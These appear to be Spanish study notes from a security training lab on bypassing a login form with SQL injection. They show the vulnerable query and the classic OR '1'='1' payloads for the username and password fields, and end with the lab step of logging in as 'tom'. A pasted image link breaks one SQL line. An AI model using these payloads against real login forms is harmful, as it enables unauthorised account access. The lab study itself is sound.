🔐 Omitir Autenticación (Bypass Login)

La aplicación usa una consulta como:

SELECT * FROM logins WHERE username='admin' AND password='p@ssw0rd';

Si devuelve algún registro → login exitoso.
Si no devuelve registros → Login Failed.

🕵️‍♂️ Descubriendo SQL Injection

Para detectar vulnerabilidad, probamos caracteres especiales:

Si ponemos ' como usuario, ocurre error SQL:

SELECT * FROM logins WHERE username=''' AND password='something';

🧨 Inyección con OR

Queremos que la consulta siempre sea TRUE, sin importar usuario/contraseña.

Payload clásica:

admin' or '1'='1

Consulta resultante:

SELECT * FROM logins WHERE username='admin' OR '1'='1' AND password='something';

Evaluación:

1. '1'='1' → TRUE

2. password='something' → FALSE

3. TRUE AND FALSE → FALSE

4. Luego viene el username='admin'

5. Si ese registro existe → TRUE final

🔐 ¿Y si NO sabemos un usuario válido?

Si usamos:

notAdmin' OR '1'='1

→ Falla, porque notAdmin no existe.

Entonces hacemos el bypass en el campo contraseña, así:

something' OR '1'='1

Consulta:

SELECT * FROM logins WHERE user![Pasted image 20251208183717.png](/img/user/Gorosolea/Imagenes/Pasted%20image%2020251208183717.png)name='notAdmin' OR '1'='1' AND password='something' OR '1'='1';

Incluso funciona con:

' or '1'='1

📝 ¿Qué debes hacer en el LAB?

La pregunta dice:

Intente iniciar sesión como usuario 'tom'. ¿Cuál es el valor de la bandera?

Esto significa:

1. En el formulario del laboratorio, pon de usuario:

tom' or '1'='1

Porque existe el usuario tom
Y contraseña cualquiera